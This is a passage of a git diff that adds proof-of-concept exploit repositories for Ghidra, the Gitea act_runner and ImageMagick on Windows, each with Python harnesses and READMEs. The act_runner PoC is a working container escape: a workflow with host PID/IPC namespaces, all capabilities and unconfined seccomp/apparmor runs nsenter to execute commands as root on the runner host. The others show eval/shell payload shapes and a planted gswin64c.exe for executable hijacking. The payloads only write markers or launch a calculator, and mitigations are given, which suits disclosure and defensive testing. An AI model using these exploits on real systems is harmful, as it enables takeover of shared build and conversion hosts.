createHarmlessZip(zipPath); + + System.out.println("Purpose: benign SevenZipJBinding runtime reachability check."); + System.out.println("Sample: " + zipPath); + System.out.println("No malicious archive bytes or command payload are present."); + + SevenZip.initSevenZipFromPlatformJAR(); + System.out.println("SevenZip version object: " + SevenZip.getSevenZipVersion()); + + try (RandomAccessFile file = new RandomAccessFile(zipPath.toFile(), "r"); + IInArchive archive = SevenZip.openInArchive(null, new RandomAccessFileInStream(file))) { + System.out.println("Archive format: " + archive.getArchiveFormat()); + System.out.println("Item count: " + archive.getNumberOfItems()); + for (int i = 0; i < archive.getNumberOfItems(); i++) { + System.out.println("Item " + i + " path: " + archive.getProperty(i, PropID.PATH)); + } + } + } + + private static void createHarmlessZip(Path zipPath) throws Exception { + try (ZipOutputStream zip = new ZipOutputStream(Files.newOutputStream(zipPath))) { + ZipEntry entry = new ZipEntry("hello.txt"); + zip.putNextEntry(entry); + zip.write("harmless sample for parser reachability checks\n".getBytes(StandardCharsets.UTF_8)); + zip.closeEntry(); + } + } +} + diff --git a/ghidra-12.1.2-rce-ace-calc-poc/pocs/ace_swift_demangler_calc_poc.py b/ghidra-12.1.2-rce-ace-calc-poc/pocs/ace_swift_demangler_calc_poc.py new file mode 100644 index 0000000..8da6e1e --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/pocs/ace_swift_demangler_calc_poc.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +import argparse +import platform +import subprocess +from pathlib import Path + +from calc_helper import launch_calc, make_executable, shell_script_header, write_marker + + +def default_out_dir() -> Path: + return Path(__file__).resolve().parent.parent / "artifacts" / "swift-demangler-calc" + + +def fake_demangler_name() -> str: + return "swift-demangle.cmd" if platform.system().lower() == "windows" else "swift-demangle" + + +def build_fake_demangler(fake_demangler: Path, marker: Path, no_calc: bool) -> None: + lines = [shell_script_header()] + if platform.system().lower() == "windows": + lines.extend( + [ + "echo Swift demangler calc PoC 1.0\n", + f'echo ran with: %* > "{marker}"\n', + ] + ) + else: + lines.extend( + [ + "echo 'Swift demangler calc PoC 1.0'\n", + f'printf "ran with: %s\\n" "$*" > "{marker}"\n', + ] + ) + fake_demangler.write_text("".join(lines), encoding="utf-8") + make_executable(fake_demangler) + if no_calc: + return + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Conditional Ghidra Swift demangler path ACE calc PoC." + ) + parser.add_argument("--run", action="store_true", help="execute the fake demangler") + parser.add_argument("--no-calc", action="store_true", help="create marker only") + parser.add_argument("--out-dir", type=Path, default=default_out_dir()) + args = parser.parse_args() + + out_dir = args.out_dir.resolve() + fake_swift_dir = out_dir / "fake-swift-bin" + fake_swift_dir.mkdir(parents=True, exist_ok=True) + marker = out_dir / "swift_demangler_calc_marker.txt" + fake_demangler = fake_swift_dir / fake_demangler_name() + + build_fake_demangler(fake_demangler, marker, args.no_calc) + + print("Purpose: conditional Swift demangler path ACE calc PoC.") + print(f"Fake Swift binary directory: {fake_swift_dir}") + print(f"Fake demangler: {fake_demangler}") + print(f"Marker file: {marker}") + print("Simulated Ghidra command shape: swift-demangle --version") + print("Classification: conditional ACE, not default/open-only RCE.") + + if not args.run: + print("Dry run only. Re-run with --run to execute the fake demangler.") + print("Use --no-calc with --run to create only the marker file.") + return 0 + + subprocess.run([str(fake_demangler), "--version"], check=True) + if not marker.exists(): + raise RuntimeError("Expected marker was not created") + + if args.no_calc: + print("Calc launch disabled by --no-calc.") + else: + launched = launch_calc() + if launched: + print("Local calculator launch requested.") + else: + print("No platform calculator command was found; marker proves execution.") + + print(f"[created] {marker}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py b/ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py new file mode 100644 index 0000000..900c7a3 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 +import os +import platform +import shutil +import subprocess +from pathlib import Path + + +def write_marker(path: Path, text: str) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(text + "\n", encoding="utf-8") + + +def calc_command() -> list[str] | None: + system = platform.system().lower() + if system == "windows": + return ["calc.exe"] + if system == "darwin": + return ["open", "-a", "Calculator"] + + for name in ("xcalc", "gnome-calculator", "kcalc", "qalculate-gtk"): + resolved = shutil.which(name) + if resolved: + return [resolved] + return None + + +def calc_shell_command() -> str: + system = platform.system().lower() + if system == "windows": + return "calc.exe" + if system == "darwin": + return "open -a Calculator" + return "xcalc || gnome-calculator || kcalc || qalculate-gtk" + + +def calc_python_eval_expression() -> str: + system = platform.system().lower() + if system == "windows": + args = "['calc.exe']" + elif system == "darwin": + args = "['open', '-a', 'Calculator']" + else: + args = "['sh', '-lc', 'xcalc || gnome-calculator || kcalc || qalculate-gtk']" + return f"__import__('subprocess').Popen({args})" + + +def launch_calc() -> bool: + cmd = calc_command() + if cmd is None: + return False + kwargs = {} + if platform.system().lower() == "windows": + kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0) + subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, **kwargs) + return True + + +def shell_script_header() -> str: + if platform.system().lower() == "windows": + return "@echo off\n" + return "#!/bin/sh\n" + + +def make_executable(path: Path) -> None: + if platform.system().lower() != "windows": + mode = path.stat().st_mode + path.chmod(mode | 0o111) diff --git a/ghidra-12.1.2-rce-ace-calc-poc/pocs/rce_tracermi_conditional_calc_poc.py b/ghidra-12.1.2-rce-ace-calc-poc/pocs/rce_tracermi_conditional_calc_poc.py new file mode 100644 index 0000000..7a54537 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/pocs/rce_tracermi_conditional_calc_poc.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +import argparse +import os +from pathlib import Path + +from calc_helper import ( + calc_command, + calc_python_eval_expression, + calc_shell_command, + launch_calc, + write_marker, +) + + +PATTERNS = ( + "def execute(", + "gdb.execute(cmd", + "exec_convert_errors(cmd", + "def pyeval(", + "return eval(expr)", + "EvaluateExpression(expr)", +) + + +def default_source() -> Path | None: + candidates: list[Path] = [] + env_source = os.environ.get("GHIDRA_SOURCE") + if env_source: + candidates.append(Path(env_source)) + candidates.extend( + [ + Path.cwd() / "ghidra-12.1.2", + Path(__file__).resolve().parents[2] / "ghidra-12.1.2", + ] + ) + for candidate in candidates: + if candidate.exists(): + return candidate.resolve() + return None + + +def find_hits(root: Path) -> list[tuple[Path, int, str, str]]: + debug_root = root / "Ghidra" / "Debug" + if not debug_root.exists(): + raise FileNotFoundError(f"Could not find Ghidra/Debug under {root}") + + hits: list[tuple[Path, int, str, str]] = [] + for method_file in debug_root.rglob("methods.py"): + try: + lines = method_file.read_text(encoding="utf-8", errors="replace").splitlines() + except OSError: + continue + for line_no, line in enumerate(lines, start=1): + stripped = line.strip() + for pattern in PATTERNS: + if pattern in stripped: + hits.append((method_file.relative_to(root), line_no, pattern, stripped)) + return hits + + +def payload_shapes() -> list[str]: + calc = calc_shell_command() + + return [ + f"GDB execute(cmd) calc-only command: shell {calc}", + f"LLDB execute(cmd) calc-only command: platform shell {calc}", + f"LLDB pyeval(expr) calc-only expression: {calc_python_eval_expression()}", + ] + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Conditional TraceRMI RCE calc proof-shape checker." + ) + parser.add_argument("--ghidra-source", type=Path, default=None) + parser.add_argument("--run-local-calc-demo", action="store_true") + parser.add_argument("--no-calc", action="store_true") + parser.add_argument( + "--out-dir", + type=Path, + default=Path(__file__).resolve().parent.parent / "artifacts" / "tracermi-conditional-rce", + ) + args = parser.parse_args() + + source = args.ghidra_source.resolve() if args.ghidra_source else default_source() + if source is None or not source.exists(): + raise SystemExit( + "Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree" + ) + + out_dir = args.out_dir.resolve() + out_dir.mkdir(parents=True, exist_ok=True) + marker = out_dir / "tracermi_local_calc_marker.txt" + shapes_file = out_dir / "tracermi_calc_payload_shapes.txt" + + print(f"Ghidra source: {source}") + print("Purpose: conditional TraceRMI RCE calc proof shape.") + print("This script does not start TraceRMI, connect to an agent, or send execute requests.") + + hits = find_hits(source) + if not hits: + print("Result: no execution-capable TraceRMI agent method patterns were found.") + return 2 + + current_file: Path | None = None + for relative, line_no, _pattern, text in sorted(hits): + if current_file != relative: + current_file = relative + print(f"[file] {relative}") + print(f" [hit] line {line_no}: {text}") + + shapes = payload_shapes() + shapes_file.write_text("\n".join(shapes) + "\n", encoding="utf-8") + print(f"[created] {shapes_file}") + + if args.run_local_calc_demo: + write_marker(marker, "local calc demo ran") + print(f"[created] {marker}") + if args.no_calc: + print("Calc launch disabled by --no-calc.") + else: + if launch_calc(): + print("Local calculator launch requested.") + else: + print("No platform calculator command was found; marker proves execution.") + else: + print("Local calc demo not run. Add --run-local-calc-demo to launch calc locally.") + + print("Result: TraceRMI execution-capable agent method patterns were found.") + print("Classification: conditional RCE, not default unauthenticated RCE.") + print(f"Detected local calc command: {calc_command()}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/ghidra-12.1.2-rce-ace-calc-poc/pocs/sevenzip_jbinding_reachability.py b/ghidra-12.1.2-rce-ace-calc-poc/pocs/sevenzip_jbinding_reachability.py new file mode 100644 index 0000000..de6ed16 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/pocs/sevenzip_jbinding_reachability.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python3 +import argparse +import os +import zipfile +from pathlib import Path + + +CHECKS = ( + ("SevenZipJBinding dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding:16.02-2.01"), + ("SevenZip all-platforms dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding-all-platforms:16.02-2.01"), + ( + "Archive probe path", + "Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java", + "probeStartBytes", + ), + ( + "SevenZip file system mount", + "Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java", + "new SevenZipFileSystem", + ), + ( + "Native archive open", + "Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystem.java", + "SevenZip.openInArchive", + ), + ( + "Native library load", + "Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipCustomInitializer.java", + "System.load", + ), + ( + "ZIP tries SevenZip path", + "Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/zip/ZipFileSystemFactory.java", + "SevenZipFileSystemFactory.initNativeLibraries", + ), +) + + +def default_source() -> Path | None: + candidates: list[Path] = [] + env_source = os.environ.get("GHIDRA_SOURCE") + if env_source: + candidates.append(Path(env_source)) + candidates.extend( + [ + Path.cwd() / "ghidra-12.1.2", + Path(__file__).resolve().parents[2] / "ghidra-12.1.2", + ] + ) + for candidate in candidates: + if candidate.exists(): + return candidate.resolve() + return None + + +def main() -> int: + parser = argparse.ArgumentParser(description="Benign SevenZipJBinding reachability checker.") + parser.add_argument("--ghidra-source", type=Path, default=None) + parser.add_argument("--create-harmless-zip", action="store_true") + parser.add_argument( + "--out-dir", + type=Path, + default=Path(__file__).resolve().parent.parent / "artifacts", + ) + args = parser.parse_args() + + source = args.ghidra_source.resolve() if args.ghidra_source else default_source() + if source is None or not source.exists(): + raise SystemExit( + "Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree" + ) + + print(f"Ghidra source: {source}") + print("Purpose: benign reachability check only. No exploit archive or command payload is generated.") + + failed = False + for name, rel_path, pattern in CHECKS: + path = source / rel_path + if not path.exists(): + print(f"[missing] {name}: {rel_path}") + failed = True + continue + text = path.read_text(encoding="utf-8", errors="replace") + if pattern in text: + line_no = text[: text.index(pattern)].count("\n") + 1 + print(f"[found] {name}: {rel_path}:{line_no}") + else: + print(f"[miss] {name}: {rel_path}") + failed = True + + if args.create_harmless_zip: + out_dir = args.out_dir.resolve() + out_dir.mkdir(parents=True, exist_ok=True) + zip_path = out_dir / "harmless-sevenzip-sample.zip" + with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf: + zf.writestr("hello.txt", "harmless sample for parser reachability checks\n") + print(f"[created] harmless ZIP sample: {zip_path}") + + if failed: + print("Result: one or more expected reachability checks were not found.") + return 2 + + print("Result: expected SevenZipJBinding reachability evidence was found.") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/gitea-act-runner-container-options-poc/.gitignore b/gitea-act-runner-container-options-poc/.gitignore new file mode 100644 index 0000000..1e3ab73 --- /dev/null +++ b/gitea-act-runner-container-options-poc/.gitignore @@ -0,0 +1,9 @@ +__pycache__/ +*.pyc +.pytest_cache/ +.mypy_cache/ +.ruff_cache/ +.venv/ +venv/ +tmp/ +poc-workdir/ diff --git a/gitea-act-runner-container-options-poc/LICENSE b/gitea-act-runner-container-options-poc/LICENSE new file mode 100644 index 0000000..14fac91 --- /dev/null +++ b/gitea-act-runner-container-options-poc/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/gitea-act-runner-container-options-poc/README.md b/gitea-act-runner-container-options-poc/README.md new file mode 100644 index 0000000..bd44be3 --- /dev/null +++ b/gitea-act-runner-container-options-poc/README.md @@ -0,0 +1,114 @@ +# Gitea act_runner `container.options` Host Namespace PoC + +This repository contains a local, marker-only Python proof of concept for a Gitea `act_runner` container hardening bypass. + +The issue is that workflow-controlled `jobs..container.options` is appended to Docker options for the job container. The runner forces `--privileged` back to false when the runner configuration disables privileged mode, and it sanitizes bind mounts, but it preserves other Docker flags that can be equivalent to host control on a Docker runner. + +The PoC uses: + +```yaml +container: + image: ubuntu:22.04 + options: --pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined +``` + +The job then runs `nsenter` and writes a marker file under `/tmp` on the runner host. The default PoC disables the runner's Docker socket mount with `--container-daemon-socket=-`, so the marker demonstrates host namespace access through Docker container options rather than direct Docker socket access from the job. + +## Impact + +An attacker who can run a workflow on an affected Docker-backed `act_runner` can create a job container with host PID/IPC namespaces, broad Linux capabilities, and unconfined security profiles while `Privileged` remains false. In the validated environment, that allowed the workflow step to enter host namespaces and execute a host-side marker command as root. + +This is high severity for repositories where untrusted users can trigger workflows on shared runners. It can be critical when a shared runner host has repository secrets, deployment credentials, adjacent jobs, or access to internal build infrastructure. + +## Preconditions + +- Gitea Actions is enabled. +- A Docker-backed `act_runner` executes workflows from the attacker-controlled repository or branch. +- The job image contains `nsenter`; `ubuntu:22.04` does. +- Docker accepts the preserved options shown above on the runner host. +- The runner allows workflow-authored job containers. + +## Root Cause + +Source-to-sink path in `act_runner`: + +- `ContainerSpec.Options` accepts workflow YAML `container.options`. +- `RunContext.options()` appends workflow options to runner-level container options. +- The job container is created with `Privileged: rc.Config.Privileged`, but also with `Options: rc.options(ctx)`. +- `mergeContainerConfigs()` parses Docker CLI-style options. +- When privileged mode is disabled, only `copts.privileged` is forced false. +- The parsed HostConfig still keeps `PidMode`, `IpcMode`, `CapAdd`, `SecurityOpt`, `Devices`, `VolumesFrom`, and other non-volume fields. +- `sanitizeConfig()` only filters `Binds` and `Mounts`. + +Validated dangerous HostConfig fields: + +```text +Privileged=false +PidMode=host +IpcMode=host +CapAdd=["ALL"] +SecurityOpt=["seccomp=unconfined","apparmor=unconfined"] +``` + +## Files + +- `poc.py` - stdlib-only Python PoC that generates a workflow, runs `act_runner exec`, and verifies the marker. + +## Quick Start + +Build or download an `act_runner` binary for the Linux host that has Docker access, then run: + +```bash +python3 poc.py --runner ./act_runner --image ubuntu:22.04 +``` + +For verbose evidence: + +```bash +python3 poc.py --runner ./act_runner --image ubuntu:22.04 --debug +``` + +Expected success output includes: + +```text +[+] verified host marker: +uid=0(root) gid=0(root) groups=0(root) +gitea-act-runner-container-options-poc-ok +``` + +The generated workflow is placed in a temporary directory by default. To inspect it: + +```bash +python3 poc.py --runner ./act_runner --keep-workdir --debug +``` + +## Validation Notes + +The local validation used `act_runner exec` because it exercises the same runner code path that converts workflow job container options into Docker HostConfig for a job container. + +The validation command used by the PoC includes: + +```bash +--container-daemon-socket=- +``` + +That setting prevents the normal Docker socket bind mount into the job container. The workflow still reaches the host marker through namespace entry, which isolates the issue to Docker option handling. + +## Mitigation Direction + +Treat workflow-authored `container.options` as untrusted input. A defensive patch should reject or allowlist job-level Docker options rather than passing the Docker CLI option surface through wholesale. + +At minimum, when runner privileged mode is disabled, reject or strip: + +- host namespaces: `--pid=host`, `--ipc=host`, `--uts=host`, `--cgroupns=host`, `--network=host` +- capability expansion: `--cap-add`, especially `ALL` and `SYS_ADMIN` +- security profile overrides: `--security-opt seccomp=unconfined`, `--security-opt apparmor=unconfined`, label disabling +- host device access: `--device`, `--device-cgroup-rule`, GPU/CDI device requests +- inherited volumes: `--volumes-from` +- runtime and cgroup escape-adjacent controls: `--runtime`, `--cgroup-parent`, broad sysctls + +Runner operators should also avoid sharing Docker-backed runners with untrusted repositories. Use isolated, single-tenant runners or stronger sandboxing for untrusted workflows. + +## Disclosure Scope + +This PoC is designed for local defensive validation on infrastructure you control. It writes only a marker file and prints the verification result. diff --git a/gitea-act-runner-container-options-poc/poc.py b/gitea-act-runner-container-options-poc/poc.py new file mode 100644 index 0000000..7902aee --- /dev/null +++ b/gitea-act-runner-container-options-poc/poc.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +import argparse +import os +import pathlib +import re +import shutil +import shlex +import subprocess +import sys +import tempfile +import textwrap + + +DEFAULT_OPTIONS = "--pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined" +DEFAULT_MARKER = "/tmp/gitea_act_runner_container_options_poc_marker" +SUCCESS_TOKEN = "gitea-act-runner-container-options-poc-ok" + + +def parser(): + p = argparse.ArgumentParser( + description="Local marker-only PoC for Gitea act_runner workflow container.options host namespace escape." + ) + p.add_argument("--runner", default="act_runner", help="Path to the act_runner binary.") + p.add_argument("--image", default="ubuntu:22.04", help="Linux image used for the job container.") + p.add_argument("--marker", default=DEFAULT_MARKER, help="Absolute Linux host marker path to create.") + p.add_argument("--workdir", default="", help="Directory for the generated workflow. Defaults to a temporary directory.") + p.add_argument("--keep-workdir", action="store_true", help="Keep the generated workflow directory.") + p.add_argument("--timeout", type=int, default=180, help="act_runner exec timeout in seconds.") + p.add_argument("--debug", action="store_true", help="Run act_runner with --debug.") + p.add_argument("--pull", action="store_true", help="Ask act_runner to pull the container image.") + return p + + +def validate_marker(marker): + if not marker.startswith("/"): + raise SystemExit("marker must be an absolute Linux path") + if not re.fullmatch(r"[A-Za-z0-9._/\-]+", marker): + raise SystemExit("marker contains unsupported characters") + if marker in {"/", "/tmp", "/var/tmp"}: + raise SystemExit("marker must be a file path") + + +def write_workflow(root, marker, image): + workflows = root / ".gitea" / "workflows" + workflows.mkdir(parents=True, exist_ok=True) + marker_q = shlex.quote(marker) + inner = f"id > {marker_q}; echo {shlex.quote(SUCCESS_TOKEN)} >> {marker_q}" + command = f"nsenter -t 1 -m -u -i -n -p -- sh -c {shlex.quote(inner)}" + workflow = f""" +name: gitea-act-runner-container-options-poc + +on: + - push + +jobs: + breakout: + runs-on: ubuntu-latest + container: + image: {image} + options: >- + {DEFAULT_OPTIONS} + steps: + - name: host namespace marker + run: | + set -eu + {command} +""" + path = workflows / "poc.yml" + path.write_text(textwrap.dedent(workflow).lstrip(), encoding="utf-8") + return path + + +def run(args, root): + cmd = [ + args.runner, + "exec", + "-C", + str(root), + "-W", + str(root / ".gitea" / "workflows"), + "-j", + "breakout", + "--container-daemon-socket=-", + "--image", + args.image, + ] + if args.pull: + cmd.append("--pull") + if args.debug: + cmd.append("--debug") + print("[*] running:", " ".join(shlex.quote(x) for x in cmd), flush=True) + return subprocess.run( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + timeout=args.timeout, + check=False, + ) + + +def read_marker(marker): + try: + return pathlib.Path(marker).read_text(encoding="utf-8", errors="replace") + except FileNotFoundError: + return "" + except PermissionError as exc: + raise SystemExit(f"marker exists but cannot be read: {exc}") from exc + + +def remove_marker(marker): + try: + pathlib.Path(marker).unlink() + except FileNotFoundError: + pass + except PermissionError: + pass + + +def main(): + args = parser().parse_args() + validate_marker(args.marker) + runner = shutil.which(args.runner) if os.path.basename(args.runner) == args.runner else args.runner + if not runner: + raise SystemExit("act_runner binary was not found; pass --runner /path/to/act_runner") + args.runner = runner + + remove_marker(args.marker) + temp = None + if args.workdir: + root = pathlib.Path(args.workdir).resolve() + root.mkdir(parents=True, exist_ok=True) + else: + temp = tempfile.TemporaryDirectory(prefix="gitea-act-runner-poc-") + root = pathlib.Path(temp.name) + + workflow = write_workflow(root, args.marker, args.image) + print(f"[*] generated workflow: {workflow}", flush=True) + + try: + result = run(args, root) + finally: + if temp and args.keep_workdir: + temp.cleanup = lambda: None + + print(result.stdout, end="") + marker = read_marker(args.marker) + if result.returncode != 0: + raise SystemExit(f"act_runner exited with {result.returncode}") + if SUCCESS_TOKEN not in marker: + raise SystemExit("marker was not created; host namespace entry was not verified") + print("[+] verified host marker:") + print(marker, end="" if marker.endswith("\n") else "\n") + + +if __name__ == "__main__": + main() diff --git a/imagemagick-gs-delegate-hijack-poc/.gitignore b/imagemagick-gs-delegate-hijack-poc/.gitignore new file mode 100644 index 0000000..feed7de --- /dev/null +++ b/imagemagick-gs-delegate-hijack-poc/.gitignore @@ -0,0 +1,6 @@ +__pycache__/ +*.pyc +im-gs-delegate-poc-*/ +results/ +.venv/ +venv/ diff --git a/imagemagick-gs-delegate-hijack-poc/README.md b/imagemagick-gs-delegate-hijack-poc/README.md new file mode 100644 index 0000000..c97fd2f --- /dev/null +++ b/imagemagick-gs-delegate-hijack-poc/README.md @@ -0,0 +1,125 @@ +# ImageMagick Ghostscript Delegate Search Path PoC + +This repository contains a Python proof of concept for a Windows executable search-path issue in ImageMagick's Ghostscript delegate handling. + +When ImageMagick converts PDF, PS, EPS, or related PostScript-family inputs on Windows, it builds a Ghostscript delegate command. In the fallback path where ImageMagick does not have a full Ghostscript executable path, the delegate command uses the bare executable name `gswin64c.exe`. The command is then launched through the Windows process API with the application name left unset, which allows normal Windows executable search behavior to choose the program that gets launched. + +If the converter process runs from a directory that an attacker can write to, a planted `gswin64c.exe` in that directory can be launched when ImageMagick processes a PDF/PS-family file. + +## Tested Versions + +The local verification used: + +- ImageMagick `7.1.2-25` +- Ghostscript `10.07.1` +- Windows x64 +- Python 3 + +The PoC uses a harmless marker-writing helper named `gswin64c.exe`. The helper only writes a text file showing that it was launched and records the delegate arguments that ImageMagick passed. + +## Repository Layout + +- `poc.py`: Python replay harness. +- `helper/FakeGswin64c.cs`: source code for the marker-writing helper payload. +- `helper/gswin64c.exe.b64`: base64-encoded helper executable generated from `helper/FakeGswin64c.cs`. + +## How The Bug Works + +ImageMagick's delegate configuration contains Ghostscript command templates that reference `@PSDelegate@`. On Windows, that placeholder is filled by code that tries to locate Ghostscript. When a full path is available, the command points to that full path. In the fallback path, ImageMagick substitutes `gswin64c.exe`. + +The resulting command has this shape: + +```text +"gswin64c.exe" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE ... "-sDEVICE=pngalpha" ... +``` + +Because the executable is a bare name, Windows resolves it through process search rules. A copy of `gswin64c.exe` in the current working directory can be selected before the real Ghostscript binary from `PATH`. + +The PoC creates two directories: + +- `control`: contains only a benign PDF. ImageMagick resolves `gswin64c.exe` from `PATH`, and conversion succeeds. +- `hijack`: contains the same benign PDF plus a marker-writing `gswin64c.exe`. ImageMagick launches the marker helper from the working directory. + +For deterministic lab reproduction, the PoC points `MAGICK_GHOSTSCRIPT_PATH` at a throwaway directory that does not contain Ghostscript DLLs. That forces ImageMagick through the same fallback branch used by portable/no-registry deployments where a full Ghostscript path is unavailable. + +## Requirements + +- Windows +- Python 3 +- ImageMagick for Windows with PDF/PS delegate support +- Ghostscript for Windows + +The PoC accepts explicit paths, so it works with portable builds as well as installed builds. + +## Usage + +With `magick.exe` and `gswin64c.exe` already in `PATH`: + +```bash +python poc.py +``` + +With explicit paths: + +```bash +python poc.py \ + --magick "C:\path\to\magick.exe" \ + --gs-bin "C:\path\to\ghostscript\bin" +``` + +For portable ImageMagick builds that need a config directory: + +```bash +python poc.py \ + --magick "C:\path\to\ImageMagick\magick.exe" \ + --magick-configure-path "C:\path\to\ImageMagick" \ + --gs-bin "C:\path\to\ghostscript\bin" +``` + +The script prints JSON evidence and writes a `result.json` file into the generated evidence directory. + +Successful output includes: + +```json +{ + "control": { + "output_exists": true + }, + "hijack": { + "marker_exists": true, + "marker_text": "fake gswin64c executed\n..." + } +} +``` + +The marker text contains the exact delegate arguments passed by ImageMagick. + +## Reproduction Flow + +1. Create a benign PDF input. +2. Create a control directory with only that PDF. +3. Create a second directory with the same PDF and a marker helper named `gswin64c.exe`. +4. Prepend the real Ghostscript `bin` directory to `PATH`. +5. Run ImageMagick from the control directory and verify normal rendering. +6. Run ImageMagick from the second directory and verify that the local `gswin64c.exe` wrote the marker. + +## Mitigations + +Operational mitigations: + +- Configure ImageMagick so Ghostscript resolves to an absolute executable path. +- Set `MAGICK_GHOSTSCRIPT_PATH` to the real Ghostscript `bin` directory when using ImageMagick in automated conversion services. +- Run conversion jobs from a trusted working directory that untrusted users cannot write to. +- Keep upload directories, extraction directories, and conversion working directories separate. +- Disable PDF/PS-family delegate processing when those formats are not required. + +Code-level hardening: + +- Avoid launching delegate programs by bare executable name. +- Pass an explicit absolute executable path to the process creation API. +- Set the child process working directory to a trusted location. +- Reject delegate execution when the resolved executable path is relative. + +## Notes + +The helper payload in `helper/gswin64c.exe.b64` is generated from `helper/FakeGswin64c.cs`. It writes only the marker file named by `IM_GS_MARKER` and returns. diff --git a/imagemagick-gs-delegate-hijack-poc/helper/FakeGswin64c.cs b/imagemagick-gs-delegate-hijack-poc/helper/FakeGswin64c.cs new file mode 100644 index 0000000..f82144b --- /dev/null +++ b/imagemagick-gs-delegate-hijack-poc/helper/FakeGswin64c.cs @@ -0,0 +1,13 @@ +using System; +using System.IO; + +class FakeGswin64c +{ + static int Main(string[] args) + { + string marker = Environment.GetEnvironmentVariable("IM_GS_MARKER"); + if (!String.IsNullOrEmpty(marker)) + File.WriteAllText(marker, "fake gswin64c executed\n" + String.Join("\n", args)); + return 0; + } +} diff --git a/imagemagick-gs-delegate-hijack-poc/helper/gswin64c.exe.b64 b/imagemagick-gs-delegate-hijack-poc/helper/gswin64c.exe.b64 new file mode 100644 index 0000000..c7fcc02 --- /dev/null +++ b/imagemagick-gs-delegate-hijack-poc/helper/gswin64c.exe.b64 @@ -0,0 +1 @@ 